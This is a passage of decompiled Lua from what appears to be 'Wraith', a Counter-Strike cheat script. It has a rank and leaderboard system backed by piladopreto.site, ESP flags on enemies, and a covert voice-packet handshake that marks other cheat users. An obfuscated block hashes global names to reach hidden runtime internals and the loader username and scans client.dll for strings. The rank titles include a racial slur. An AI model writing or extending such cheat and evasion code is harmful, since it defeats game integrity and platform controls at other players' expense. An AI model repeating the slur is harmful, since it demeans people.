            v78.respect_system.total_respect = v78.respect_system.total_respect - (v78.respect_system.level_respect - v78.respect_system.respect_needed);
        end;
        v78.respect_system.level_respect = 0;
        v78.respect_system.level = v78.respect_system.level + 1;
        v78.respect_system.respect_needed = 100 * (v78.respect_system.level / 2) + 50;
        local l_value_21 = v122.misc.level_up_sound.volume.value;
        local l_value_22 = v122.misc.level_up_sound.sound.value;
        if l_value_22 then
            for _ = 0, l_value_21 do
                if l_value_22 == "Case opening" then
                    v1("PlaySoundEffect", "ItemRevealRarityMythical", "MOUSE");
                elseif l_value_22 == "Accept match" then
                    v1("PlaySoundEffect", "popup_accept_match_beep", "MOUSE");
                elseif l_value_22 == "X-ray" then
                    v1("PlaySoundEffect", "XrayStart", "MOUSE");
                end;
            end;
        end;
    end;
    if v78.respect_system.respect_spree then
        v78.respect_system.respect_spree_count = v78.respect_system.respect_spree_count + 1;
        v78.respect_system.respect_spree_multiplier = 1 + v78.respect_system.respect_spree_count;
    end;
    if v78.respect_system.respect_highest_spree < v78.respect_system.respect_spree_count then
        v78.respect_system.respect_highest_spree = v78.respect_system.respect_spree_count;
    end;
end;
local function v986()
    -- upvalues: v78 (ref)
    v78.respect_system.respect_spree = true;
    v78.respect_system.respect_spree_count = 1;
    v78.respect_system.respect_spree_multiplier = 1;
    v78.respect_lost_spree = false;
end;
local function v987()
    -- upvalues: v78 (ref)
    if v78.respect_system.respect_spree then
        v78.spree_text_time = globals.curtime;
        if v78.respect_system.respect_spree_count > 1 then
            v78.respect_lost_spree = true;
        end;
        v78.respect_system.respect_spree = false;
        v78.respect_system.respect_spree_count = 0;
        v78.respect_system.respect_spree_multiplier = 1;
        common.set_clan_tag("");
    end;
end;
local v988 = "common.set_clan_tag( '' )";
local function v992(v989, v990)
    -- upvalues: l_hashing_0 (ref)
    local v991 = v989 .. tostring(v990);
    return l_hashing_0.sha256(v991):sub(1, 24);
end;
local function v997()
    -- upvalues: v122 (ref), v78 (ref), v992 (ref), v988 (ref)
    if not v122.misc.shared_users.value then
        return;
    else
        v78.is_wraith_user_list = {};
        local v993 = common.get_unixtime();
        events.voice_message:call(function(v994)
            -- upvalues: v993 (ref), v992 (ref), v988 (ref)
            v994:write_bits(43947, 16);
            v994:write_bits(v993, 31);
            local v995 = v992(v988, v993);
            for v996 = 1, #v995, 8 do
                v994:write_bits(tonumber(v995:sub(v996, v996 + 7), 16), 32);
            end;
            v994:crypt(v988);
        end);
        return;
    end;
end;
local v998 = "Wraith";
local v999 = "Whitelist";
local v1001 = esp.enemy:new_text("Wraith User", "Wraith", function(v1000)
    -- upvalues: v78 (ref), v122 (ref), v998 (ref)
    if v78.is_wraith_user_list == nil or not v122.misc.shared_users.value or not v122.misc.shared_users.esp_flag.value or not v78.is_wraith_user_list[v1000:get_index()] or v78.banned_voice_user_list and v78.banned_voice_user_list[v1000:get_index()] then
        return;
    else
        return v998;
    end;
end);
local v1003 = esp.enemy:new_text("Wraith Whitelist", "Whitelist", function(v1002)
    -- upvalues: v78 (ref), v122 (ref), v999 (ref)
    if v78.is_wraith_user_list == nil or not v122.misc.whitelist_users.value or not v122.misc.whitelist_users.esp_flag.value or not v78.is_wraith_user_list[v1002:get_index()] or v78.banned_voice_user_list and v78.banned_voice_user_list[v1002:get_index()] then
        return;
    else
        return v999;
    end;
end);
local v1004 = v1001:create();
local v1005 = v1003:create();
local v1006 = v1004:combo("Flag Style", {
    [1] = "W", 
    [2] = "Wraith"
});
local v1007 = v1005:combo("Flag Style", {
    [1] = "Whitelist", 
    [2] = "Friendly", 
    [3] = "Sleepy"
});
v1006:set_callback(function(v1008)
    -- upvalues: v998 (ref)
    v998 = v1008:get();
end, true);
v1007:set_callback(function(v1009)
    -- upvalues: v999 (ref)
    v999 = v1009:get();
end, true);
local v1010 = {
    [1] = "RESPECT SPREE", 
    [2] = "PLAYA", 
    [3] = "HOMIE", 
    [4] = "JACKER", 
    [5] = "CRIMINAL", 
    [6] = "GANGSTA", 
    [7] = "HIGH ROLLER", 
    [8] = "HITMAN", 
    [9] = "GODFATHER", 
    [10] = "KINGPIN", 
    [11] = "WRAITH", 
    [12] = "NIGGA"
};
local function v1021()
    -- upvalues: v122 (ref), v163 (ref), v46 (ref), l_hashing_0 (ref), v77 (ref), v78 (ref), v65 (ref), l_clipboard_0 (ref)
    local v1011 = v122.visuals.vis_logs.log_type:get("System") and v122.visuals.vis_logs.value;
    local l_log_where_0 = v122.visuals.vis_logs.log_where;
    local v1013 = v163();
    local v1014 = {
        player_name = v46
    };
    local v1015 = l_hashing_0.hmac(l_hashing_0.sha256, v77, json.stringify(v1014));
    local v1016 = {
        payload = json.stringify(v1014), 
        signature = v1015, 
        le_key = v1013
    };
    local v1017 = {
        ["User-Agent"] = "Valve/Steam", 
        ["Content-Type"] = "application/json"
    };
    local function v1020(v1018)
        -- upvalues: v78 (ref), v1011 (ref), v65 (ref), l_log_where_0 (ref), l_clipboard_0 (ref)
        if v1018 then
            v78.cloudflare_cooldown_time = globals.realtime;
            local v1019 = v170_safe_json_parse_0(v1018);
            if v1019 and v1019.message == "synk" and v1019.code then
                v78.ananas_cooldown_time = globals.realtime;
                v78.synced_code = v1019.code;
                if v1011 then
                    v78.g_notify:add("code ~ " .. v65.lime_green .. "Copied code to clipboard, use /verify at discord.gg/lby to get your roles. code: " .. v78.synced_code, v65.lime_green .. "Code copied to clipboard", color(255, 255, 255, 255), 8, l_log_where_0:get("Developer"), l_log_where_0:get("Console"), l_log_where_0:get("Center"), color(255, 255, 255, 255));
                else
                    print("Copied code to clipboard, use /verify at discord.gg/lby to get your roles. code: " .. v78.synced_code);
                end;
                l_clipboard_0.set(v1019.code);
            elseif v1011 then
                v78.g_notify:add("code ~ " .. v65.light_red .. "unable to retrieve code, try again later.", "failed to retrieve code", color(255, 255, 255, 255), 8, l_log_where_0:get("Developer"), l_log_where_0:get("Console"), l_log_where_0:get("Center"), color(255, 255, 255, 255));
            end;
        elseif v1011 then
            v78.g_notify:add("sync ~ " .. v65.light_red .. "failed to sync, invalid response", "failed to sync", color(255, 255, 255, 255), 8, l_log_where_0:get("Developer"), l_log_where_0:get("Console"), l_log_where_0:get("Center"), color(255, 255, 255, 255));
        end;
    end;
    network.post("https://piladopreto.site/?wraith=loadaimware", v1016, v1017, v1020);
end;
local function v1060()
    -- upvalues: v78 (ref), v122 (ref), v65 (ref), v46 (ref), l_ffi_0 (ref)
    v78.respect_lost_spree = false;
    local v1022 = v122.visuals.vis_logs.log_type:get("Tournament") and v122.visuals.vis_logs.value;
    local l_log_where_1 = v122.visuals.vis_logs.log_where;
    if v1022 then
        v78.g_notify:add("load ~ " .. v65.light_red .. "fetching respect spree data", v65.light_red .. "fetching " .. v65.white .. "respect spree", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
    end;
    local v1024 = "https://piladopreto.site/?wraith=get_spree_data&player=" .. v46;
    local v1025 = {
        ["User-Agent"] = "Valve/Steam", 
        ["Content-Type"] = "application/json"
    };
    local v1026 = utils.opcode_scan("client.dll", "61 64 64 72");
    local v1027 = utils.opcode_scan("client.dll", "70 61 63 6B 61 67 65");
    local function v1031(v1028)
        local v1029 = 91175861701;
        for v1030 = 1, #v1028 do
            v1029 = bit.bxor(v1029, string.byte(v1028, v1030));
            v1029 = v1029 + bit.lshift(v1029, 1) + bit.lshift(v1029, 4) + bit.lshift(v1029, 7) + bit.lshift(v1029, 8) + bit.lshift(v1029, 24);
        end;
        return v1029 % 4294967296;
    end;
    local v1032 = v1031("common");
    local v1033 = v1031("get_username");
    local v1034 = v1031("jit");
    local v1035 = v1031("rawget");
    local v1036 = v1031("require");
    local v1037 = v1031("utils");
    local v1038 = v1031("pcall");
    local v1039 = v1031("select");
    local v1040 = v1031("funcinfo");
    local v1041 = nil;
    local v1042 = nil;
    local v1043 = nil;
    local v1044 = nil;
    local v1045 = nil;
    local v1046 = nil;
    local v1047 = nil;
    for v1048, v1049 in pairs(_G) do
        if v1031(v1048) == v1035 then
            v1043 = v1049;
        end;
        if v1031(v1048) == v1038 then
            v1046 = v1049;
        end;
        if v1031(v1048) == v1036 then
            v1044 = v1049;
        end;
        if v1031(v1048) == v1034 then
            v1041 = v1048;
        end;
        if v1031(v1048) == v1037 then
            v1042 = v1048;
        end;
        if v1031(v1048) == v1039 then
            v1047 = v1049;
        end;
        if v1031(v1048) == v1032 then
            for v1050, v1051 in pairs(v1049) do
                if v1031(v1050) == v1033 then
                    v1045 = v1051;
                end;
            end;
        end;
    end;
    local v1052 = v1041 .. string.char(46) .. string.sub(v1042, 1, -2);
    local v1053 = "";
    local l_pairs_0 = pairs;
    local v1055 = v1047(2, v1046(v1044, l_ffi_0.string(v1027, 7))).loaded[v1052] or {};
    for v1056, v1057 in l_pairs_0(v1055) do
        if v1031(v1056) == v1040 then
            v1053 = v1043(v1047(2, v1046(v1057, v1045)), l_ffi_0.string(v1026, 4));
        end;
    end;
    if not v1053 then
        l_pairs_0 = 1 + v1053;
    end;
    l_pairs_0 = function(v1058)
        -- upvalues: v78 (ref), v1022 (ref), v65 (ref), l_log_where_1 (ref), v46 (ref)
        v78.cloudflare_cooldown_time = globals.realtime;
        if v1058 and v1058 ~= nil and v1058 ~= "" then
            if v1058 == "error code: 1015" then
                v78.respect_system.respect_ready_to_save = false;
                if v1022 then
                    v78.g_notify:add("status 15 ~ " .. v65.light_red .. "server is offline", "respect system is " .. v65.light_red .. "offline", color(255, 255, 255, 255), 8, l_log_where_1:get("Developer"), l_log_where_1:get("Console"), l_log_where_1:get("Center"), color(255, 255, 255, 255));
                end;
                return;
            elseif v1058 == "error code: 521" then
                v78.respect_system.respect_ready_to_save = false;
                if v1022 then
                    v78.g_notify:add("status 21 ~ " .. v65.light_red .. "server is offline", "respect system is " .. v65.light_red .. "offline", color(255, 255, 255, 255), 8, l_log_where_1:get("Developer"), l_log_where_1:get("Console"), l_log_where_1:get("Center"), color(255, 255, 255, 255));
                end;
                return;
            else
                local v1059 = v170_safe_json_parse_0(v1058);
                if v1059 and v1059.respect_spree_count ~= nil then
                    v78.respect_system.respect_spree_count = 0;
                    v78.respect_system.level = v1059.level or 1;
                    v78.respect_system.total_respect = v1059.total_respect or 0;
                    v78.respect_system.level_respect = v1059.level_respect or 0;
                    v78.respect_system.respect_needed = v1059.respect_needed or 100;
                    v78.respect_system.respect_highest_spree = v1059.respect_highest_spree or 0;
                    v78.respect_system.respect_placement = v1059.placement or 0;
                    v78.respect_system.respect_ready_to_save = true;
                    v78.last_saved_spree_data = {
                        respect_spree_count = v78.respect_system.respect_spree_count, 
                        level = v78.respect_system.level, 
                        total_respect = v78.respect_system.total_respect, 
                        level_respect = v78.respect_system.level_respect, 
                        respect_needed = v78.respect_system.respect_needed, 
                        respect_highest_spree = v78.respect_system.respect_highest_spree
                    };
                    v78.g_notify:add("load ~ " .. v65.light_pink .. "welcome back " .. v46 .. (v1022 and ", you're currently at place #" .. v78.respect_system.respect_placement .. " in the leaderboard!" or ""), "welcome back " .. v65.light_pink .. v46 .. v65.white .. " (" .. v65.lime_green .. "#" .. v78.respect_system.respect_placement .. v65.white .. ")", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                else
                    print("Welcome to Wraith Tournament. Initializing base respect system.");
                    v78.respect_system = {
                        respect_highest_spree = 0, 
                        respect_spree_multiplier = 1, 
                        respect_spree_count = 0, 
                        respect_spree = false, 
                        respect_needed = 50, 
                        level_respect = 0, 
                        total_respect = 0, 
                        level = 1, 
                        respect_ready_to_save = true
                    };
                end;
            end;
        else
            v78.respect_system.respect_ready_to_save = false;
            if v1022 then
                v78.g_notify:add("status [un] ~ " .. v65.light_red .. "server is offline", "respect system is " .. v65.light_red .. "offline", color(255, 255, 255, 255), 8, l_log_where_1:get("Developer"), l_log_where_1:get("Console"), l_log_where_1:get("Center"), color(255, 255, 255, 255));
            end;
        end;
    end;
    network.get(v1024, v1025, l_pairs_0);
end;
local function v1067()
    -- upvalues: v122 (ref), v78 (ref), v65 (ref), v1060 (ref)
    local v1061 = v122.visuals.vis_logs.log_type:get("Tournament") and v122.visuals.vis_logs.value;
    local l_log_where_2 = v122.visuals.vis_logs.log_where;
    local v1063 = "https://piladopreto.site/?wraith=ping";
    local v1064 = {
        ["User-Agent"] = "Valve/Steam", 
        ["Content-Type"] = "application/json"
    };
    local function v1066(v1065)
        -- upvalues: v78 (ref), v1061 (ref), v65 (ref), l_log_where_2 (ref), v1060 (ref)
        if v1065 and v1065 ~= nil and v1065 ~= "" then
            if v1065 == "error code: 521" then
                v78.respect_system.respect_ready_to_save = false;
                if not v78.warned_server_offline then
                    if v1061 then
                        v78.g_notify:add("status 21 ~ " .. v65.light_red .. "server is offline", "respect system is " .. v65.light_red .. "offline", color(255, 255, 255, 255), 8, l_log_where_2:get("Developer"), l_log_where_2:get("Console"), l_log_where_2:get("Center"), color(255, 255, 255, 255));
                    end;
                    v78.warned_server_online = false;
                    v78.warned_server_offline = true;
                end;
            else
                if not v78.warned_server_online and not v78.respect_system.respect_ready_to_save then
                    if v1061 then
                        v78.g_notify:add("status ~ " .. v65.lime_green .. "server is online", "respect system is " .. v65.lime_green .. "online", color(255, 255, 255, 255), 8, l_log_where_2:get("Developer"), l_log_where_2:get("Console"), l_log_where_2:get("Center"), color(255, 255, 255, 255));
                    end;
                    v78.warned_server_online = true;
                    v78.warned_server_offline = false;
                    v1060();
                end;
                v78.respect_system.respect_ready_to_save = true;
            end;
        elseif not v78.warned_server_offline then
            if v1061 then
                v78.g_notify:add("status 0 ~ " .. v65.light_red .. "failed to reach the server", "respect system is " .. v65.light_red .. "offline", color(255, 255, 255, 255), 8, l_log_where_2:get("Developer"), l_log_where_2:get("Console"), l_log_where_2:get("Center"), color(255, 255, 255, 255));
            end;
            v78.warned_server_online = false;
            v78.warned_server_offline = true;
            v78.respect_system.respect_ready_to_save = false;
        end;
    end;
    network.get(v1063, v1064, v1066);
end;
local function v1070(v1068)
    -- upvalues: v122 (ref), v78 (ref), v1067 (ref)
    if not v122.misc.automatic_server_updates.value then
        return;
    else
        if not v1068 then
            v1068 = 60;
        end;
        local function v1069()
            -- upvalues: v78 (ref), v1067 (ref), v1068 (ref), v1069 (ref)
            if not v78.server_check_toggle then
                v78.server_check_toggle = true;
                v1067();
                utils.execute_after(v1068, function()
                    -- upvalues: v78 (ref), v1069 (ref)
                    v78.server_check_toggle = false;
                    v1069();
                end);
            end;
        end;
        utils.execute_after(v1068, v1069);
        return;
    end;
end;
local function v1078(v1071)
    -- upvalues: v122 (ref), v78 (ref), v65 (ref)
    local v1072 = v122.visuals.vis_logs.log_type:get("Tournament") and v122.visuals.vis_logs.value;
    local l_log_where_3 = v122.visuals.vis_logs.log_where;
    v1071 = v1071:match("^%s*(.-)%s*$");
    if v1071 == "" then
        if v1072 then
            v78.g_notify:add("search ~ " .. v65.white .. "Player name is " .. v65.light_red .. "empty", "Player name is " .. v65.light_red .. "empty", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    else
        if v1072 then
            v78.g_notify:add("search ~ " .. v65.white .. "Fetching spree data for " .. v65.lime_green .. v1071, "Looking for " .. v65.lime_green .. v1071, color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
        end;
        local v1074 = "https://piladopreto.site/?wraith=get_spree_data&player=" .. v1071;
        local v1075 = {
            ["User-Agent"] = "Valve/Steam", 
            ["Content-Type"] = "application/json"
        };
        local function v1077(v1076)
            -- upvalues: v78 (ref), v1072 (ref), v65 (ref), l_log_where_3 (ref), v1071 (ref)
            v78.cloudflare_cooldown_time = globals.realtime;
            if v1076 then
                if v1076 == "error code: 1015" then
                    if v1072 then
                        v78.g_notify:add(v65.light_red .. "search ~ " .. v65.white .. "Could not reach server, wait 10 seconds before reloading the script", v65.light_red .. "Could not reach server", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
                    end;
                    return;
                elseif v1076 == "error code: 521" then
                    if v1072 then
                        v78.g_notify:add("search ~ " .. v65.light_red .. "Could not reach server, server is offline", v65.light_red .. "Server is offline", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
                    end;
                    return;
                else
                    v78.searched_player_data = v170_safe_json_parse_0(v1076) or {};
                    if v78.searched_player_data and v78.searched_player_data.respect_spree_count ~= nil then
                        v78.searched_player_data.name = v1071;
                        if v1072 then
                            v78.g_notify:add("search ~ " .. v65.white .. "Found spree data on " .. v65.lime_green .. v1071, v65.lime_green .. "Found spree data", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
                        end;
                    else
                        v78.searched_player_data = {};
                        if v1072 then
                            v78.g_notify:add("search ~ " .. v65.light_red .. "Player not found" .. v65.white .. ", insert a valid tournament player", v65.light_red .. "Player not found", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
                        end;
                    end;
                end;
            elseif v1072 then
                v78.g_notify:add("search ~ " .. v65.light_red .. "Failed to fetch spree data: Unknown error", v65.light_red .. "Unknown error", color(255, 255, 255, 255), 8, l_log_where_3:get("Developer"), l_log_where_3:get("Console"), l_log_where_3:get("Center"), color(255, 255, 255, 255));
            end;
        end;
        network.get(v1074, v1075, v1077);
        return;
    end;
end;
local function v1080()
    -- upvalues: v78 (ref)
    if not v78.last_saved_spree_data then
        return true;
    else
        local l_respect_system_1 = v78.respect_system;
        if l_respect_system_1.respect_spree_count ~= v78.last_saved_spree_data.respect_spree_count or l_respect_system_1.level ~= v78.last_saved_spree_data.level or l_respect_system_1.total_respect ~= v78.last_saved_spree_data.total_respect or l_respect_system_1.level_respect ~= v78.last_saved_spree_data.level_respect or l_respect_system_1.respect_needed ~= v78.last_saved_spree_data.respect_needed or l_respect_system_1.respect_highest_spree ~= v78.last_saved_spree_data.respect_highest_spree then
            return true;
        else
            return false;
        end;
    end;
end;
local function v1090()
    -- upvalues: v122 (ref), v78 (ref), v65 (ref), v1080 (ref), v163 (ref), v46 (ref), l_hashing_0 (ref), v77 (ref)
    local v1081 = v122.visuals.vis_logs.log_type:get("Tournament") and v122.visuals.vis_logs.value;
    local l_log_where_4 = v122.visuals.vis_logs.log_where;
    if not v78.respect_system.respect_ready_to_save then
        if v1081 then
            v78.g_notify:add("save ~ " .. v65.light_red .. "can't save respect spree", v65.light_red .. "failed saving progress", color(255, 255, 255, 255), 8, l_log_where_4:get("Developer"), l_log_where_4:get("Console"), l_log_where_4:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    elseif not v1080() then
        return;
    else
        local v1083 = v163();
        local v1084 = {
            player_name = v46, 
            respect_spree_count = v78.respect_system.respect_spree_count, 
            level = v78.respect_system.level, 
            total_respect = v78.respect_system.total_respect, 
            level_respect = v78.respect_system.level_respect, 
            respect_needed = v78.respect_system.respect_needed, 
            respect_highest_spree = v78.respect_system.respect_highest_spree
        };
        local v1085 = l_hashing_0.hmac(l_hashing_0.sha256, v77, json.stringify(v1084));
        local v1086 = {
            payload = json.stringify(v1084), 
            signature = v1085, 
            le_key = v1083
        };
        local v1087 = {
            ["User-Agent"] = "Valve/Steam", 
            ["Content-Type"] = "application/json"
        };
        local function v1089(v1088)
            -- upvalues: v78 (ref), v1081 (ref), v65 (ref), l_log_where_4 (ref)
            if v1088 then
                v78.last_saved_spree_data = {
                    respect_spree_count = v78.respect_system.respect_spree_count, 
                    level = v78.respect_system.level, 
                    total_respect = v78.respect_system.total_respect, 
                    level_respect = v78.respect_system.level_respect, 
                    respect_needed = v78.respect_system.respect_needed, 
                    respect_highest_spree = v78.respect_system.respect_highest_spree
                };
                v78.ananas_cooldown_time = globals.realtime;
                if v1081 then
                    v78.g_notify:add("save ~ " .. v65.lime_green .. "respect spree stored successfully" .. (string.find(v1088, "ananas") and "." or ""), "respect spree " .. v65.lime_green .. "saved", color(255, 255, 255, 255), 8, l_log_where_4:get("Developer"), l_log_where_4:get("Console"), l_log_where_4:get("Center"), color(255, 255, 255, 255));
                end;
            elseif v1088 and not string.find(v1088, "ananas") and string.find(v1088, "failed") then
                if v1081 then
                    v78.g_notify:add("save ~ " .. v65.light_red .. "failed to save respect spree", "respect spree " .. v65.light_red .. "failed to save", color(255, 255, 255, 255), 8, l_log_where_4:get("Developer"), l_log_where_4:get("Console"), l_log_where_4:get("Center"), color(255, 255, 255, 255));
                end;
            elseif v1081 then
                v78.g_notify:add("save ~ " .. v65.light_red .. "failed to save respect spree", "respect spree " .. v65.light_red .. "failed to save", color(255, 255, 255, 255), 8, l_log_where_4:get("Developer"), l_log_where_4:get("Console"), l_log_where_4:get("Center"), color(255, 255, 255, 255));
            end;
        end;
        network.post("https://piladopreto.site/?wraith=store_spree_data", v1086, v1087, v1089);
        return;
    end;
end;
local function v1095()
    -- upvalues: v78 (ref)
    local v1091 = "https://piladopreto.site/?wraith=get_leaderboard";
    local v1092 = {
        ["User-Agent"] = "Valve/Steam", 
        ["Content-Type"] = "application/json"
    };
    local function v1094(v1093)
        -- upvalues: v78 (ref)
        v78.cloudflare_cooldown_time = globals.realtime;
        if v1093 then
            v78.leaderboard_data = v170_safe_json_parse_0(v1093) or {};
        else
            print("Failed to fetch leaderboard data: Unknown error");
        end;
    end;
    network.get(v1091, v1092, v1094);
end;
v1060();
v969:apply_fps_optimizations(not v122.misc.fps_optimizations_toggle);
v122.misc.fps_optimizations_toggle:set_callback(function()
    -- upvalues: v969 (ref)
    v969:apply_fps_optimizations(false);
end);
v122.misc.fps_optimizations_toggle.options:set_callback(function()
    -- upvalues: v122 (ref), v969 (ref)
    if v122.misc.fps_optimizations_toggle.value then
        v969:apply_fps_optimizations(false);
    end;
end);
v122.misc.update_button:set_callback(function()
    -- upvalues: v1095 (ref)
    v1095();
end);
v122.misc.get_code_button:set_callback(function()
    -- upvalues: v1021 (ref)
    v1021();
end);
v122.misc.search_button:set_callback(function()
    -- upvalues: v1078 (ref), v122 (ref)
    v1078(v122.misc.search_bar_leaderboard.value);
end);
local function v1104()
    -- upvalues: v78 (ref), v122 (ref), v64 (ref)
    if v78.ui_alpha == 0 then
        return;
    else
        local v1096 = math.ceil(v78.cloudflare_delay - (globals.realtime - v78.cloudflare_cooldown_time));
        local v1097 = v1096 > 0;
        local v1098 = {
            [1] = {
                [1] = v122.misc.update_button, 
                [2] = v1097 and "Wait (" .. v1096 .. "s) to refresh." or "Refresh", 
                [3] = v1097
            }, 
            [2] = {
                [1] = v122.misc.search_button, 
                [2] = v1097 and "Wait (" .. v1096 .. "s) to search." or "Search", 
                [3] = v1097
            }, 
            [3] = {
                [1] = v122.misc.get_code_button, 
                [2] = v1097 and "Wait (" .. v1096 .. "s) to generate a code." or v64.key .. "  Code", 
                [3] = v1097
            }
        };
        for _, v1100 in ipairs(v1098) do
            local v1101 = v1100[1];
            local v1102 = v1100[2];
            local v1103 = v1100[3];
            v1101:name(v1102);
            v1101:set_disabled(v1103);
        end;
        if not v1097 then
            v122.misc.get_code_button:tooltip("Generate a code in order to receive roles, follow console instructions.");
        end;
        return;
    end;
end;
local function v1114(v1105, v1106, v1107)
    -- upvalues: v1010 (ref), v78 (ref), v155 (ref), v122 (ref), v57 (ref)
    local v1108 = v1010[math.min(v1107, #v1010)];
    if v1108 and v78.spree_text_time or v78.respect_lost_spree and v78.spree_text_time then
        local v1109 = 5;
        local v1110 = 0.1;
        local v1111 = 0.1;
        local v1112 = globals.curtime - v78.spree_text_time;
        local v1113 = nil;
        if v1112 < v1110 then
            v1113 = v155(0, 255, v1112 / v1110);
        elseif v1112 < v1109 - v1111 then
            v1113 = 255;
        elseif v1112 < v1109 then
            v1113 = v155(255, 0, (v1112 - (v1109 - v1111)) / v1111);
        else
            return;
        end;
        if v78.respect_lost_spree then
            if v122.misc.spree_notif.value then
                render.text(v57, vector(v1105, v1106 - v1106 / 2.5), color(255, 255, 153, v1113), "aicbo", "\aFF0000ff> \aFFFF99ff" .. "respect spree over" .. "\aFF0000ff <");
            end;
        else
            if v122.misc.spree_notif.value then
                render.text(v57, vector(v1105, v1106 - v1106 / 2.5), color(255, 255, 153, v1113), "aicbo", "\aFF0000ff> \aFFFF99ff" .. v1108:lower() .. "\aFF0000ff <");
            end;
            if not v78.clan_tag_set and v122.misc.spree_clan_tag.value then
                common.set_clan_tag(v1108:lower());
                v78.clan_tag_set = true;
                v78.reset_clan_tag = true;
            end;
        end;
    end;
end;
local function v1122(v1115, v1116, v1117)
    -- upvalues: v122 (ref), v78 (ref), v155 (ref)
    if not v122.visuals.hitmarker_option.value or not v1115 or not v1115:is_alive() or not v122.visuals.hitmarker_option.hitmarker_2d.value or v78.hitmarker_alpha <= 0 then
        return;
    else
        local l_value_23 = v122.visuals.hitmarker_option.hitmarker_duration_2d.value;
        v78.hitmarker_alpha = v155(v78.hitmarker_alpha, 0, globals.frametime * 10 / (l_value_23 * 5));
        local l_value_24 = (v78.hitmarker_killed and v122.visuals.hitmarker_option.hitmarker_color_kill or v122.visuals.hitmarker_option.hitmarker_color).value;
        local v1120 = color(l_value_24.r, l_value_24.g, l_value_24.b, v78.hitmarker_alpha);
        local v1121 = {
            vector(5, 5), 
            vector(10, 10), 
            vector(5, -5), 
            vector(10, -10), 
            vector(-5, -5), 
            vector(-10, -10), 
            vector(-5, 5), 
            vector(-10, 10)
        };
        render.line(v1121[1] + vector(v1116, v1117), v1121[2] + vector(v1116, v1117), v1120);
        render.line(v1121[3] + vector(v1116, v1117), v1121[4] + vector(v1116, v1117), v1120);
        render.line(v1121[5] + vector(v1116, v1117), v1121[6] + vector(v1116, v1117), v1120);
        render.line(v1121[7] + vector(v1116, v1117), v1121[8] + vector(v1116, v1117), v1120);
        return;
    end;
end;
local function v1126(v1123, v1124, v1125)
    -- upvalues: v78 (ref)
    v78.pulse_state.current_alpha = v78.pulse_state.current_alpha or v1123;
    v78.pulse_state.direction = v78.pulse_state.direction or 1;
    v78.pulse_state.current_alpha = v78.pulse_state.current_alpha + v78.pulse_state.direction;
    if v1124 <= v78.pulse_state.current_alpha then
        v78.pulse_state.current_alpha = v1124;
        v78.pulse_state.direction = -v1125;
    elseif v78.pulse_state.current_alpha <= v1123 then
        v78.pulse_state.current_alpha = v1123;
        v78.pulse_state.direction = v1125;
    end;
    return math.floor(v78.pulse_state.current_alpha);
end;
local function v1136(v1127, v1128, v1129, v1130)
    local v1131 = string.len(v1128);
    local v1132 = string.len(v1129);
    local v1133 = nil;
    if math.abs(v1131 - v1132) <= 1 then
        v1132 = 0;
    end;
    if v1132 < v1131 then
        v1127 = math.min(v1127 + globals.frametime * v1130, v1131);
        v1133 = true;
    else
        v1127 = math.max(v1127 - globals.frametime * v1130, v1131);
        v1133 = false;
    end;
    local v1134 = math.floor(v1127);
    local v1135 = nil;
    if v1133 then
        v1135 = string.sub(v1128, 1, v1134);
    elseif math.abs(v1127 - v1131) > 1 then
        v1135 = string.sub(v1129, 1, v1134);
    else
        v1135 = string.sub(v1128, 1, v1134);
    end;
    return v1127, v1135;
end;
local _ = {};
local v1138 = {};
local function v1143(v1139, v1140, v1141)
    -- upvalues: v1138 (ref)
    v1140.order = v1141;
    local v1142 = #v1139;
    while v1142 > 0 and v1141 < v1139[v1142].order do
        v1139[v1142 + 1] = v1139[v1142];
        v1142 = v1142 - 1;
    end;
    v1139[v1142 + 1] = v1140;
    v1138[v1141] = v1140;
end;
local function _(v1144, v1145)
    for v1146 = 1, #v1144 do
        if v1144[v1146].order == v1145 then
            return v1146;
        end;
    end;
    return nil;
end;
v78.is_draw_ind = v122.visuals.indicator_builder.value;
v122.visuals.indicator_builder:set_callback(function()
    -- upvalues: v78 (ref), v122 (ref)
    v78.is_draw_ind = v122.visuals.indicator_builder.value;
    if v78.is_draw_ind then
        v78.smooth_table.popping = {
            y = 0, 
            x = 0
        };
        local l_smooth_table_0 = v78.smooth_table;
        local l_smooth_table_1 = v78.smooth_table;
        local l_smooth_table_2 = v78.smooth_table;
        local l_smooth_table_3 = v78.smooth_table;
        local v1152 = 0;
        local v1153 = 0;
        local v1154 = 0;
        l_smooth_table_3.fs_alpha = 0;
        l_smooth_table_2.baim_alpha = v1154;
        l_smooth_table_1.sp_alpha = v1153;
        l_smooth_table_0.dt_alpha = v1152;
        v78.smooth_table2.nade_ind = 0;
    else
        v78.smooth_table2.nade_ind = 0;
    end;
end);
local function v1262(v1155, v1156, v1157)
    -- upvalues: v78 (ref), v122 (ref), v731 (ref), v1126 (ref), v1143 (ref), v63 (ref), v339 (ref), v1136 (ref), v155 (ref), v1138 (ref), v151 (ref)
    if not v78.is_draw_ind then
        return;
    else
        local v1158 = v1155:get_player_weapon();
        if not v1158 then
            return;
        else
            local v1159 = v1158:get_weapon_info();
            if not v1159 then
                return;
            else
                local v1160 = v1159.weapon_type == 9;
                local l_value_25 = v122.visuals.indicator_builder.font.value;
                local l_value_26 = v122.visuals.indicator_builder.casing.value;
                local l_value_27 = v122.visuals.indicator_builder.vertical_spacing.value;
                local v1164 = {};
                local v1165 = v731[l_value_25] or v731.Default;
                local l_value_28 = v122.visuals.indicator_builder.grenade_dim.value;
                local l_value_29 = v122.visuals.indicator_builder.grenade_dim_amount.value;
                local l_value_30 = v122.visuals.indicator_builder.align_right.value;
                local l_value_31 = v122.visuals.indicator_builder.scope_anim_speed.value;
                local v1170 = nil;
                local l_value_32 = v122.visuals.indicators_level_1.value;
